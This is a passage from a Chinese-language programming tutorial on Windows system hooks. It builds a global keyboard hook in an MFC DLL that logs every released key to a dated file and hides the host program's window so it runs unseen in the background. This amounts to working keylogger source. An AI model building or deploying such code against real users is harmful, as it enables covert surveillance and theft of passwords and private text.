鈎子的本質是一段用以處理系統消息的程式,通過系統調用,将其挂入系統。鈎子的種類有很多,每種鈎子可以截獲并處理相應的消息,每當特定的消息發出,在到達目的視窗之前,鈎子程式先行截獲該消息、得到對此消息的控制權。此時在鈎子函數中就可以對截獲的消息進行加工處理,甚至可以強制結束消息的傳遞。
在本程式中我們需要捕獲在任意視窗上的鍵盤輸入,這就需要采用全局鈎子以便攔截整個系統的消息,而全局鈎子函數必須以DLL(動态連接配接庫)為載體進行封裝,VC6中有三種形式的MFC DLL可供選擇,即Regular statically linked to MFC DLL(标準靜态連結MFC DLL)、Regular using the shared MFC DLL(标準動态連結MFC DLL)以及Extension MFC DLL(擴充MFC DLL)。 在本程式中為友善起見采用了标準靜态連接配接MFC DLL。
三、鍵盤鈎子程式示例
本示例程式用到全局鈎子函數,程式分兩部分:可執行程式KeyHook和動态連接配接庫LaunchDLL。
1、首先編制MFC擴充動态連接配接庫LaunchDLL.dll:
(1)選擇MFC AppWizard(DLL)建立項目LaunchDLL;在接下來的選項中選擇Regular statically linked to MFC DLL(标準靜态連結MFC DLL)。
(2)在LaunchDLL.h中添加宏定義和待導出函數的聲明:
#define DllExport __declspec(dllexport)
……
DllExport void WINAPI InstallLaunchEv();
……
class CLaunchDLLApp : public CWinApp
{
public:
CLaunchDLLApp();
//{{AFX_VIRTUAL(CLaunchDLLApp)
//}}AFX_VIRTUAL
//{{AFX_MSG(CLaunchDLLApp)
// NOTE - the ClassWizard will add and remove member functions here.
// DO NOT EDIT what you see in these blocks of generated code !
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
(3)在LaunchDLL.cpp中添加全局變量Hook和全局函數LauncherHook、SaveLog:
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* c);
(4)完成以上提到的這幾個函數的實作部分:
……
CLaunchDLLApp theApp;
……
DllExport void WINAPI InstallLaunchEv()
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)LauncherHook,
theApp.m_hInstance,
0);
}
在此我們實作了Windows的系統鈎子的安裝,首先要調用SDK中的API函數SetWindowsHookEx來安裝這個鈎子函數,其原型是:
HHOOK SetWindowsHookEx(int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId);
其中,第一個參數指定鈎子的類型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我們隻關心鍵盤操作是以設定為WH_KEYBOARD;第二個參數辨別鈎子函數的入口位址,當鈎子鈎到任何消息後便調用這個函數,即當不管系統的哪個視窗有鍵盤輸入馬上會引起LauncherHook的動作;第三個參數是鈎子函數所在子產品的句柄,我們可以很簡單的設定其為本應用程式的執行個體句柄;最後一個參數是鈎子相關函數的ID用以指定想讓鈎子去鈎哪個線程,為0時則攔截整個系統的消息,在本程式中鈎子需要為全局鈎子,故設定為0。
……
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
}
雖然調用CallNextHookEx()是可選的,但調用此函數的習慣是很值得推薦的;否則的話,其他安裝了鈎子的應用程式将不會接收到鈎子的通知而且還有可能産生不正确的結果,是以我們應盡量調用該函數除非絕對需要阻止其他程式擷取通知。
……
void SaveLog(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c://Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
當有鍵彈起的時候就通過此函數将剛彈起的鍵儲存到記錄檔案中進而實作對鍵盤進行監控記錄的目的。
編譯完成便可得到運作時所需的鍵盤鈎子的動态連接配接庫LaunchDLL.dll和進行靜态連結時用到的LaunchDLL.lib。
2、下面開始編寫調用此動态連接配接庫的主程式,并實作最後的內建:
(1)用MFC的AppWizard(EXE)建立項目KeyHook;
(2)選擇單文檔,其餘幾步可均為确省;
(3)把LaunchDLL.h和LaunchDLL.lib複制到KeyHook工程目錄中,LaunchDLL.dll複制到Debug目錄下。
(4)連結DLL庫,即在"Project","Settings…"的"Link"屬性頁内,在"Object/librarymodules:"中填入"LaunchDLL.lib"。再通過"Project","Add To Project","Files…"将LaunchDLL.h添加到工程中來,最後在視類的源檔案KeyHook.cpp中加入對其的引用:
#include "LaunchDLL.h"
這樣我們就可以象使用本工程内的 函數一樣使用動态連接配接庫LaunchDLL.dll中的所有導出函數了。
(5)在視類中添加虛函數OnInitialUpdate(),并添加代碼完成對鍵盤鈎子的安裝:
……
InstallLaunchEv();
……
(6)到此為止其實已經完成了所有的功能,但作為一個背景監控軟體,運作時并不希望有界面,可以在應用程式類CkeyHookApp的InitInstance()函數中将m_pMainWnd->ShowWindow(SW_SHOW);改為m_pMainWnd->ShowWindow (SW_HIDE);即可。
四、運作與檢測
編譯運作程式,運作起來之後并無什麼現象,但通過Alt+Ctrl+Del在關閉程式對話框内可以找到我們剛編寫完畢的程式"KeyHook",随便在什麼程式中通過鍵盤輸入字元,然後打開記錄檔案,我們會發現:通過鍵盤鈎子,我們剛才輸入的字元都被記錄到記錄檔案中了。
小結:系統鈎子具有相當強大的功能,通過這種技術可以對幾乎所有的Windows系統消息進行攔截、監視、處理。這種技術廣泛應用于各種自動監控系統中